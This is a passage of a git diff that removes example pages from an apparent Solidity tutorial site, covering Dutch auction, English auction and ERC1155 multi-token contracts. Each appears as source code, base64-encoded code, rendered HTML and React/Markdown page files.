ZnVuZCA9IG1zZy52YWx1ZSAtIHByaWNlOwogICAgICAgIGlmIChyZWZ1bmQgPiAwKSB7CiAgICAgICAgICAgIHBheWFibGUobXNnLnNlbmRlcikudHJhbnNmZXIocmVmdW5kKTsKICAgICAgICB9CiAgICAgICAgc2VsZmRlc3RydWN0KHNlbGxlcik7CiAgICB9Cn0K", - }, -] - -const html = `

Dutch auction for NFT.

-

Auction

-
    -
  1. Seller of NFT deploys this contract setting a starting price for the NFT.
  2. -
  3. Auction lasts for 7 days.
  4. -
  5. Price of NFT decreases over time.
  6. -
  7. Participants can buy by depositing ETH greater than the current price computed by the smart contract.
  8. -
  9. Auction ends when a buyer buys the NFT.
  10. -
-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-interface IERC721 {
-    function transferFrom(address _from, address _to, uint _nftId) external;
-}
-
-contract DutchAuction {
-    uint private constant DURATION = 7 days;
-
-    IERC721 public immutable nft;
-    uint public immutable nftId;
-
-    address payable public immutable seller;
-    uint public immutable startingPrice;
-    uint public immutable startAt;
-    uint public immutable expiresAt;
-    uint public immutable discountRate;
-
-    constructor(uint _startingPrice, uint _discountRate, address _nft, uint _nftId) {
-        seller = payable(msg.sender);
-        startingPrice = _startingPrice;
-        startAt = block.timestamp;
-        expiresAt = block.timestamp + DURATION;
-        discountRate = _discountRate;
-
-        require(_startingPrice >= _discountRate * DURATION, "starting price < min");
-
-        nft = IERC721(_nft);
-        nftId = _nftId;
-    }
-
-    function getPrice() public view returns (uint) {
-        uint timeElapsed = block.timestamp - startAt;
-        uint discount = discountRate * timeElapsed;
-        return startingPrice - discount;
-    }
-
-    function buy() external payable {
-        require(block.timestamp < expiresAt, "auction expired");
-
-        uint price = getPrice();
-        require(msg.value >= price, "ETH < price");
-
-        nft.transferFrom(seller, msg.sender, nftId);
-        uint refund = msg.value - price;
-        if (refund > 0) {
-            payable(msg.sender).transfer(refund);
-        }
-        selfdestruct(seller);
-    }
-}
-
` - -export default html diff --git a/src/pages/app/dutch-auction/index.md b/src/pages/app/dutch-auction/index.md deleted file mode 100644 index bd8ebe390..000000000 --- a/src/pages/app/dutch-auction/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Dutch Auction -version: 0.8.20 -description: An example of Dutch auction in Solidity -keywords: [app, application, dutch, auction, auctions] ---- - -Dutch auction for NFT. - -### Auction - -1. Seller of NFT deploys this contract setting a starting price for the NFT. -2. Auction lasts for 7 days. -3. Price of NFT decreases over time. -4. Participants can buy by depositing ETH greater than the current price computed by the smart contract. -5. Auction ends when a buyer buys the NFT. - -```solidity -{{{DutchAuction}}} -``` diff --git a/src/pages/app/dutch-auction/index.tsx b/src/pages/app/dutch-auction/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/app/dutch-auction/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/app/english-auction/EnglishAuction.sol b/src/pages/app/english-auction/EnglishAuction.sol deleted file mode 100644 index 461551ec3..000000000 --- a/src/pages/app/english-auction/EnglishAuction.sol +++ /dev/null @@ -1,85 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -interface IERC721 { - function safeTransferFrom(address from, address to, uint tokenId) external; - - function transferFrom(address, address, uint) external; -} - -contract EnglishAuction { - event Start(); - event Bid(address indexed sender, uint amount); - event Withdraw(address indexed bidder, uint amount); - event End(address winner, uint amount); - - IERC721 public nft; - uint public nftId; - - address payable public seller; - uint public endAt; - bool public started; - bool public ended; - - address public highestBidder; - uint public highestBid; - mapping(address => uint) public bids; - - constructor(address _nft, uint _nftId, uint _startingBid) { - nft = IERC721(_nft); - nftId = _nftId; - - seller = payable(msg.sender); - highestBid = _startingBid; - } - - function start() external { - require(!started, "started"); - require(msg.sender == seller, "not seller"); - - nft.transferFrom(msg.sender, address(this), nftId); - started = true; - endAt = block.timestamp + 7 days; - - emit Start(); - } - - function bid() external payable { - require(started, "not started"); - require(block.timestamp < endAt, "ended"); - require(msg.value > highestBid, "value < highest"); - - if (highestBidder != address(0)) { - bids[highestBidder] += highestBid; - } - - highestBidder = msg.sender; - highestBid = msg.value; - - emit Bid(msg.sender, msg.value); - } - - function withdraw() external { - uint bal = bids[msg.sender]; - bids[msg.sender] = 0; - payable(msg.sender).transfer(bal); - - emit Withdraw(msg.sender, bal); - } - - function end() external { - require(started, "not started"); - require(block.timestamp >= endAt, "not ended"); - require(!ended, "ended"); - - ended = true; - if (highestBidder != address(0)) { - nft.safeTransferFrom(address(this), highestBidder, nftId); - seller.transfer(highestBid); - } else { - nft.safeTransferFrom(address(this), seller, nftId); - } - - emit End(highestBidder, highestBid); - } -} diff --git a/src/pages/app/english-auction/index.html.ts b/src/pages/app/english-auction/index.html.ts deleted file mode 100644 index 71e835290..000000000 --- a/src/pages/app/english-auction/index.html.ts +++ /dev/null @@ -1,115 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "English Auction" -export const description = "An example of English auction in Solidity" - -export const keywords = ["app", "application", "english", "auction", "auctions"] - -export const codes = [ - { - fileName: "EnglishAuction.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50IHRva2VuSWQpIGV4dGVybmFsOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzLCBhZGRyZXNzLCB1aW50KSBleHRlcm5hbDsKfQoKY29udHJhY3QgRW5nbGlzaEF1Y3Rpb24gewogICAgZXZlbnQgU3RhcnQoKTsKICAgIGV2ZW50IEJpZChhZGRyZXNzIGluZGV4ZWQgc2VuZGVyLCB1aW50IGFtb3VudCk7CiAgICBldmVudCBXaXRoZHJhdyhhZGRyZXNzIGluZGV4ZWQgYmlkZGVyLCB1aW50IGFtb3VudCk7CiAgICBldmVudCBFbmQoYWRkcmVzcyB3aW5uZXIsIHVpbnQgYW1vdW50KTsKCiAgICBJRVJDNzIxIHB1YmxpYyBuZnQ7CiAgICB1aW50IHB1YmxpYyBuZnRJZDsKCiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIHNlbGxlcjsKICAgIHVpbnQgcHVibGljIGVuZEF0OwogICAgYm9vbCBwdWJsaWMgc3RhcnRlZDsKICAgIGJvb2wgcHVibGljIGVuZGVkOwoKICAgIGFkZHJlc3MgcHVibGljIGhpZ2hlc3RCaWRkZXI7CiAgICB1aW50IHB1YmxpYyBoaWdoZXN0QmlkOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBiaWRzOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX25mdCwgdWludCBfbmZ0SWQsIHVpbnQgX3N0YXJ0aW5nQmlkKSB7CiAgICAgICAgbmZ0ID0gSUVSQzcyMShfbmZ0KTsKICAgICAgICBuZnRJZCA9IF9uZnRJZDsKCiAgICAgICAgc2VsbGVyID0gcGF5YWJsZShtc2cuc2VuZGVyKTsKICAgICAgICBoaWdoZXN0QmlkID0gX3N0YXJ0aW5nQmlkOwogICAgfQoKICAgIGZ1bmN0aW9uIHN0YXJ0KCkgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUoIXN0YXJ0ZWQsICJzdGFydGVkIik7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IHNlbGxlciwgIm5vdCBzZWxsZXIiKTsKCiAgICAgICAgbmZ0LnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBuZnRJZCk7CiAgICAgICAgc3RhcnRlZCA9IHRydWU7CiAgICAgICAgZW5kQXQgPSBibG9jay50aW1lc3RhbXAgKyA3IGRheXM7CgogICAgICAgIGVtaXQgU3RhcnQoKTsKICAgIH0KCiAgICBmdW5jdGlvbiBiaWQoKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICByZXF1aXJlKHN0YXJ0ZWQsICJub3Qgc3RhcnRlZCIpOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wIDwgZW5kQXQsICJlbmRlZCIpOwogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID4gaGlnaGVzdEJpZCwgInZhbHVlIDwgaGlnaGVzdCIpOwoKICAgICAgICBpZiAoaGlnaGVzdEJpZGRlciAhPSBhZGRyZXNzKDApKSB7CiAgICAgICAgICAgIGJpZHNbaGlnaGVzdEJpZGRlcl0gKz0gaGlnaGVzdEJpZDsKICAgICAgICB9CgogICAgICAgIGhpZ2hlc3RCaWRkZXIgPSBtc2cuc2VuZGVyOwogICAgICAgIGhpZ2hlc3RCaWQgPSBtc2cudmFsdWU7CgogICAgICAgIGVtaXQgQmlkKG1zZy5zZW5kZXIsIG1zZy52YWx1ZSk7CiAgICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcoKSBleHRlcm5hbCB7CiAgICAgICAgdWludCBiYWwgPSBiaWRzW21zZy5zZW5kZXJdOwogICAgICAgIGJpZHNbbXNnLnNlbmRlcl0gPSAwOwogICAgICAgIHBheWFibGUobXNnLnNlbmRlcikudHJhbnNmZXIoYmFsKTsKCiAgICAgICAgZW1pdCBXaXRoZHJhdyhtc2cuc2VuZGVyLCBiYWwpOwogICAgfQoKICAgIGZ1bmN0aW9uIGVuZCgpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKHN0YXJ0ZWQsICJub3Qgc3RhcnRlZCIpOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wID49IGVuZEF0LCAibm90IGVuZGVkIik7CiAgICAgICAgcmVxdWlyZSghZW5kZWQsICJlbmRlZCIpOwoKICAgICAgICBlbmRlZCA9IHRydWU7CiAgICAgICAgaWYgKGhpZ2hlc3RCaWRkZXIgIT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICBuZnQuc2FmZVRyYW5zZmVyRnJvbShhZGRyZXNzKHRoaXMpLCBoaWdoZXN0QmlkZGVyLCBuZnRJZCk7CiAgICAgICAgICAgIHNlbGxlci50cmFuc2ZlcihoaWdoZXN0QmlkKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBuZnQuc2FmZVRyYW5zZmVyRnJvbShhZGRyZXNzKHRoaXMpLCBzZWxsZXIsIG5mdElkKTsKICAgICAgICB9CgogICAgICAgIGVtaXQgRW5kKGhpZ2hlc3RCaWRkZXIsIGhpZ2hlc3RCaWQpOwogICAgfQp9Cg==", - }, -] - -const html = `

English auction for NFT.

-

Auction

-
    -
  1. Seller of NFT deploys this contract.
  2. -
  3. Auction lasts for 7 days.
  4. -
  5. Participants can bid by depositing ETH greater than the current highest bidder.
  6. -
  7. All bidders can withdraw their bid if it is not the current highest bid.
  8. -
-

After the auction

-
    -
  1. Highest bidder becomes the new owner of NFT.
  2. -
  3. The seller receives the highest bid of ETH.
  4. -
-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-interface IERC721 {
-    function safeTransferFrom(address from, address to, uint tokenId) external;
-
-    function transferFrom(address, address, uint) external;
-}
-
-contract EnglishAuction {
-    event Start();
-    event Bid(address indexed sender, uint amount);
-    event Withdraw(address indexed bidder, uint amount);
-    event End(address winner, uint amount);
-
-    IERC721 public nft;
-    uint public nftId;
-
-    address payable public seller;
-    uint public endAt;
-    bool public started;
-    bool public ended;
-
-    address public highestBidder;
-    uint public highestBid;
-    mapping(address => uint) public bids;
-
-    constructor(address _nft, uint _nftId, uint _startingBid) {
-        nft = IERC721(_nft);
-        nftId = _nftId;
-
-        seller = payable(msg.sender);
-        highestBid = _startingBid;
-    }
-
-    function start() external {
-        require(!started, "started");
-        require(msg.sender == seller, "not seller");
-
-        nft.transferFrom(msg.sender, address(this), nftId);
-        started = true;
-        endAt = block.timestamp + 7 days;
-
-        emit Start();
-    }
-
-    function bid() external payable {
-        require(started, "not started");
-        require(block.timestamp < endAt, "ended");
-        require(msg.value > highestBid, "value < highest");
-
-        if (highestBidder != address(0)) {
-            bids[highestBidder] += highestBid;
-        }
-
-        highestBidder = msg.sender;
-        highestBid = msg.value;
-
-        emit Bid(msg.sender, msg.value);
-    }
-
-    function withdraw() external {
-        uint bal = bids[msg.sender];
-        bids[msg.sender] = 0;
-        payable(msg.sender).transfer(bal);
-
-        emit Withdraw(msg.sender, bal);
-    }
-
-    function end() external {
-        require(started, "not started");
-        require(block.timestamp >= endAt, "not ended");
-        require(!ended, "ended");
-
-        ended = true;
-        if (highestBidder != address(0)) {
-            nft.safeTransferFrom(address(this), highestBidder, nftId);
-            seller.transfer(highestBid);
-        } else {
-            nft.safeTransferFrom(address(this), seller, nftId);
-        }
-
-        emit End(highestBidder, highestBid);
-    }
-}
-
` - -export default html diff --git a/src/pages/app/english-auction/index.md b/src/pages/app/english-auction/index.md deleted file mode 100644 index 9b898fbff..000000000 --- a/src/pages/app/english-auction/index.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: English Auction -version: 0.8.20 -description: An example of English auction in Solidity -keywords: [app, application, english, auction, auctions] ---- - -English auction for NFT. - -### Auction - -1. Seller of NFT deploys this contract. -2. Auction lasts for 7 days. -3. Participants can bid by depositing ETH greater than the current highest bidder. -4. All bidders can withdraw their bid if it is not the current highest bid. - -### After the auction - -1. Highest bidder becomes the new owner of NFT. -2. The seller receives the highest bid of ETH. - -```solidity -{{{EnglishAuction}}} -``` diff --git a/src/pages/app/english-auction/index.tsx b/src/pages/app/english-auction/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/app/english-auction/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/app/erc1155/ERC1155.sol b/src/pages/app/erc1155/ERC1155.sol deleted file mode 100644 index b1ed30a89..000000000 --- a/src/pages/app/erc1155/ERC1155.sol +++ /dev/null @@ -1,272 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -interface IERC1155 { - function safeTransferFrom( - address from, - address to, - uint256 id, - uint256 value, - bytes calldata data - ) external; - - function safeBatchTransferFrom( - address from, - address to, - uint256[] calldata ids, - uint256[] calldata values, - bytes calldata data - ) external; - - function balanceOf(address owner, uint256 id) external view returns (uint256); - - function balanceOfBatch( - address[] calldata owners, - uint256[] calldata ids - ) external view returns (uint256[] memory); - - function setApprovalForAll(address operator, bool approved) external; - - function isApprovedForAll( - address owner, - address operator - ) external view returns (bool); -} - -interface IERC1155TokenReceiver { - function onERC1155Received( - address operator, - address from, - uint256 id, - uint256 value, - bytes calldata data - ) external returns (bytes4); - - function onERC1155BatchReceived( - address operator, - address from, - uint256[] calldata ids, - uint256[] calldata values, - bytes calldata data - ) external returns (bytes4); -} - -contract ERC1155 is IERC1155 { - event TransferSingle( - address indexed operator, - address indexed from, - address indexed to, - uint256 id, - uint256 value - ); - event TransferBatch( - address indexed operator, - address indexed from, - address indexed to, - uint256[] ids, - uint256[] values - ); - event ApprovalForAll( - address indexed owner, - address indexed operator, - bool approved - ); - event URI(string value, uint256 indexed id); - - // owner => id => balance - mapping(address => mapping(uint256 => uint256)) public balanceOf; - // owner => operator => approved - mapping(address => mapping(address => bool)) public isApprovedForAll; - - function balanceOfBatch( - address[] calldata owners, - uint256[] calldata ids - ) external view returns (uint256[] memory balances) { - require(owners.length == ids.length, "owners length != ids length"); - - balances = new uint[](owners.length); - - unchecked { - for (uint256 i = 0; i < owners.length; i++) { - balances[i] = balanceOf[owners[i]][ids[i]]; - } - } - } - - function setApprovalForAll(address operator, bool approved) external { - isApprovedForAll[msg.sender][operator] = approved; - emit ApprovalForAll(msg.sender, operator, approved); - } - - function safeTransferFrom( - address from, - address to, - uint256 id, - uint256 value, - bytes calldata data - ) external { - require( - msg.sender == from || isApprovedForAll[from][msg.sender], - "not approved" - ); - require(to != address(0), "to = 0 address"); - - balanceOf[from][id] -= value; - balanceOf[to][id] += value; - - emit TransferSingle(msg.sender, from, to, id, value); - - if (to.code.length > 0) { - require( - IERC1155TokenReceiver(to).onERC1155Received( - msg.sender, - from, - id, - value, - data - ) == IERC1155TokenReceiver.onERC1155Received.selector, - "unsafe transfer" - ); - } - } - - function safeBatchTransferFrom( - address from, - address to, - uint256[] calldata ids, - uint256[] calldata values, - bytes calldata data - ) external { - require( - msg.sender == from || isApprovedForAll[from][msg.sender], - "not approved" - ); - require(to != address(0), "to = 0 address"); - require(ids.length == values.length, "ids length != values length"); - - for (uint256 i = 0; i < ids.length; i++) { - balanceOf[from][ids[i]] -= values[i]; - balanceOf[to][ids[i]] += values[i]; - } - - emit TransferBatch(msg.sender, from, to, ids, values); - - if (to.code.length > 0) { - require( - IERC1155TokenReceiver(to).onERC1155BatchReceived( - msg.sender, - from, - ids, - values, - data - ) == IERC1155TokenReceiver.onERC1155BatchReceived.selector, - "unsafe transfer" - ); - } - } - - // ERC165 - function supportsInterface(bytes4 interfaceId) external view returns (bool) { - return - interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165 - interfaceId == 0xd9b67a26 || // ERC165 Interface ID for ERC1155 - interfaceId == 0x0e89341c; // ERC165 Interface ID for ERC1155MetadataURI - } - - // ERC1155 Metadata URI - function uri(uint256 id) public view virtual returns (string memory) {} - - // Internal functions - function _mint(address to, uint256 id, uint256 value, bytes memory data) internal { - require(to != address(0), "to = 0 address"); - - balanceOf[to][id] += value; - - emit TransferSingle(msg.sender, address(0), to, id, value); - - if (to.code.length > 0) { - require( - IERC1155TokenReceiver(to).onERC1155Received( - msg.sender, - address(0), - id, - value, - data - ) == IERC1155TokenReceiver.onERC1155Received.selector, - "unsafe transfer" - ); - } - } - - function _batchMint( - address to, - uint256[] calldata ids, - uint256[] calldata values, - bytes calldata data - ) internal { - require(to != address(0), "to = 0 address"); - require(ids.length == values.length, "ids length != values length"); - - for (uint256 i = 0; i < ids.length; i++) { - balanceOf[to][ids[i]] += values[i]; - } - - emit TransferBatch(msg.sender, address(0), to, ids, values); - - if (to.code.length > 0) { - require( - IERC1155TokenReceiver(to).onERC1155BatchReceived( - msg.sender, - address(0), - ids, - values, - data - ) == IERC1155TokenReceiver.onERC1155BatchReceived.selector, - "unsafe transfer" - ); - } - } - - function _burn(address from, uint256 id, uint256 value) internal { - require(from != address(0), "from = 0 address"); - balanceOf[from][id] -= value; - emit TransferSingle(msg.sender, from, address(0), id, value); - } - - function _batchBurn( - address from, - uint256[] calldata ids, - uint256[] calldata values - ) internal { - require(from != address(0), "from = 0 address"); - require(ids.length == values.length, "ids length != values length"); - - for (uint256 i = 0; i < ids.length; i++) { - balanceOf[from][ids[i]] -= values[i]; - } - - emit TransferBatch(msg.sender, from, address(0), ids, values); - } -} - -contract MyMultiToken is ERC1155 { - function mint(uint256 id, uint256 value, bytes memory data) external { - _mint(msg.sender, id, value, data); - } - - function batchMint( - uint256[] calldata ids, - uint256[] calldata values, - bytes calldata data - ) external { - _batchMint(msg.sender, ids, values, data); - } - - function burn(uint256 id, uint256 value) external { - _burn(msg.sender, id, value); - } - - function batchBurn(uint256[] calldata ids, uint256[] calldata values) external { - _batchBurn(msg.sender, ids, values); - } -} diff --git a/src/pages/app/erc1155/index.html.ts b/src/pages/app/erc1155/index.html.ts deleted file mode 100644 index b270ccb0e..000000000 --- a/src/pages/app/erc1155/index.html.ts +++ /dev/null @@ -1,290 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "ERC1155" -export const description = "Example of ERC1155 multi token in Solidity" - -export const keywords = ["app", "application", "erc1155", "nft", "ierc1155"] - -export const codes = [ - { - fileName: "ERC1155.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmludGVyZmFjZSBJRVJDMTE1NSB7CiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKAogICAgICAgIGFkZHJlc3MgZnJvbSwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTYgaWQsCiAgICAgICAgdWludDI1NiB2YWx1ZSwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsOwoKICAgIGZ1bmN0aW9uIHNhZmVCYXRjaFRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIGZyb20sCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2W10gY2FsbGRhdGEgaWRzLAogICAgICAgIHVpbnQyNTZbXSBjYWxsZGF0YSB2YWx1ZXMsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbDsKCiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBvd25lciwgdWludDI1NiBpZCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKCiAgICBmdW5jdGlvbiBiYWxhbmNlT2ZCYXRjaCgKICAgICAgICBhZGRyZXNzW10gY2FsbGRhdGEgb3duZXJzLAogICAgICAgIHVpbnQyNTZbXSBjYWxsZGF0YSBpZHMKICAgICkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2W10gbWVtb3J5KTsKCiAgICBmdW5jdGlvbiBzZXRBcHByb3ZhbEZvckFsbChhZGRyZXNzIG9wZXJhdG9yLCBib29sIGFwcHJvdmVkKSBleHRlcm5hbDsKCiAgICBmdW5jdGlvbiBpc0FwcHJvdmVkRm9yQWxsKAogICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgYWRkcmVzcyBvcGVyYXRvcgogICAgKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGJvb2wpOwp9CgppbnRlcmZhY2UgSUVSQzExNTVUb2tlblJlY2VpdmVyIHsKICAgIGZ1bmN0aW9uIG9uRVJDMTE1NVJlY2VpdmVkKAogICAgICAgIGFkZHJlc3Mgb3BlcmF0b3IsCiAgICAgICAgYWRkcmVzcyBmcm9tLAogICAgICAgIHVpbnQyNTYgaWQsCiAgICAgICAgdWludDI1NiB2YWx1ZSwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHJldHVybnMgKGJ5dGVzNCk7CgogICAgZnVuY3Rpb24gb25FUkMxMTU1QmF0Y2hSZWNlaXZlZCgKICAgICAgICBhZGRyZXNzIG9wZXJhdG9yLAogICAgICAgIGFkZHJlc3MgZnJvbSwKICAgICAgICB1aW50MjU2W10gY2FsbGRhdGEgaWRzLAogICAgICAgIHVpbnQyNTZbXSBjYWxsZGF0YSB2YWx1ZXMsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbCByZXR1cm5zIChieXRlczQpOwp9Cgpjb250cmFjdCBFUkMxMTU1IGlzIElFUkMxMTU1IHsKICAgIGV2ZW50IFRyYW5zZmVyU2luZ2xlKAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCBvcGVyYXRvciwKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgZnJvbSwKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgdG8sCiAgICAgICAgdWludDI1NiBpZCwKICAgICAgICB1aW50MjU2IHZhbHVlCiAgICApOwogICAgZXZlbnQgVHJhbnNmZXJCYXRjaCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3BlcmF0b3IsCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIGZyb20sCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIHRvLAogICAgICAgIHVpbnQyNTZbXSBpZHMsCiAgICAgICAgdWludDI1NltdIHZhbHVlcwogICAgKTsKICAgIGV2ZW50IEFwcHJvdmFsRm9yQWxsKAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCBvd25lciwKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3BlcmF0b3IsCiAgICAgICAgYm9vbCBhcHByb3ZlZAogICAgKTsKICAgIGV2ZW50IFVSSShzdHJpbmcgdmFsdWUsIHVpbnQyNTYgaW5kZXhlZCBpZCk7CgogICAgLy8gb3duZXIgPT4gaWQgPT4gYmFsYW5jZQogICAgbWFwcGluZyhhZGRyZXNzID0+IG1hcHBpbmcodWludDI1NiA9PiB1aW50MjU2KSkgcHVibGljIGJhbGFuY2VPZjsKICAgIC8vIG93bmVyID0+IG9wZXJhdG9yID0+IGFwcHJvdmVkCiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gbWFwcGluZyhhZGRyZXNzID0+IGJvb2wpKSBwdWJsaWMgaXNBcHByb3ZlZEZvckFsbDsKCiAgICBmdW5jdGlvbiBiYWxhbmNlT2ZCYXRjaCgKICAgICAgICBhZGRyZXNzW10gY2FsbGRhdGEgb3duZXJzLAogICAgICAgIHVpbnQyNTZbXSBjYWxsZGF0YSBpZHMKICAgICkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2W10gbWVtb3J5IGJhbGFuY2VzKSB7CiAgICAgICAgcmVxdWlyZShvd25lcnMubGVuZ3RoID09IGlkcy5sZW5ndGgsICJvd25lcnMgbGVuZ3RoICE9IGlkcyBsZW5ndGgiKTsKCiAgICAgICAgYmFsYW5jZXMgPSBuZXcgdWludFtdKG93bmVycy5sZW5ndGgpOwoKICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBvd25lcnMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgICAgIGJhbGFuY2VzW2ldID0gYmFsYW5jZU9mW293bmVyc1tpXV1baWRzW2ldXTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBzZXRBcHByb3ZhbEZvckFsbChhZGRyZXNzIG9wZXJhdG9yLCBib29sIGFwcHJvdmVkKSBleHRlcm5hbCB7CiAgICAgICAgaXNBcHByb3ZlZEZvckFsbFttc2cuc2VuZGVyXVtvcGVyYXRvcl0gPSBhcHByb3ZlZDsKICAgICAgICBlbWl0IEFwcHJvdmFsRm9yQWxsKG1zZy5zZW5kZXIsIG9wZXJhdG9yLCBhcHByb3ZlZCk7CiAgICB9CgogICAgZnVuY3Rpb24gc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIGZyb20sCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2IGlkLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgbXNnLnNlbmRlciA9PSBmcm9tIHx8IGlzQXBwcm92ZWRGb3JBbGxbZnJvbV1bbXNnLnNlbmRlcl0sCiAgICAgICAgICAgICJub3QgYXBwcm92ZWQiCiAgICAgICAgKTsKICAgICAgICByZXF1aXJlKHRvICE9IGFkZHJlc3MoMCksICJ0byA9IDAgYWRkcmVzcyIpOwoKICAgICAgICBiYWxhbmNlT2ZbZnJvbV1baWRdIC09IHZhbHVlOwogICAgICAgIGJhbGFuY2VPZlt0b11baWRdICs9IHZhbHVlOwoKICAgICAgICBlbWl0IFRyYW5zZmVyU2luZ2xlKG1zZy5zZW5kZXIsIGZyb20sIHRvLCBpZCwgdmFsdWUpOwoKICAgICAgICBpZiAodG8uY29kZS5sZW5ndGggPiAwKSB7CiAgICAgICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgICAgICBJRVJDMTE1NVRva2VuUmVjZWl2ZXIodG8pLm9uRVJDMTE1NVJlY2VpdmVkKAogICAgICAgICAgICAgICAgICAgIG1zZy5zZW5kZXIsCiAgICAgICAgICAgICAgICAgICAgZnJvbSwKICAgICAgICAgICAgICAgICAgICBpZCwKICAgICAgICAgICAgICAgICAgICB2YWx1ZSwKICAgICAgICAgICAgICAgICAgICBkYXRhCiAgICAgICAgICAgICAgICApID09IElFUkMxMTU1VG9rZW5SZWNlaXZlci5vbkVSQzExNTVSZWNlaXZlZC5zZWxlY3RvciwKICAgICAgICAgICAgICAgICJ1bnNhZmUgdHJhbnNmZXIiCiAgICAgICAgICAgICk7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIHNhZmVCYXRjaFRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIGZyb20sCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2W10gY2FsbGRhdGEgaWRzLAogICAgICAgIHVpbnQyNTZbXSBjYWxsZGF0YSB2YWx1ZXMsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgbXNnLnNlbmRlciA9PSBmcm9tIHx8IGlzQXBwcm92ZWRGb3JBbGxbZnJvbV1bbXNnLnNlbmRlcl0sCiAgICAgICAgICAgICJub3QgYXBwcm92ZWQiCiAgICAgICAgKTsKICAgICAgICByZXF1aXJlKHRvICE9IGFkZHJlc3MoMCksICJ0byA9IDAgYWRkcmVzcyIpOwogICAgICAgIHJlcXVpcmUoa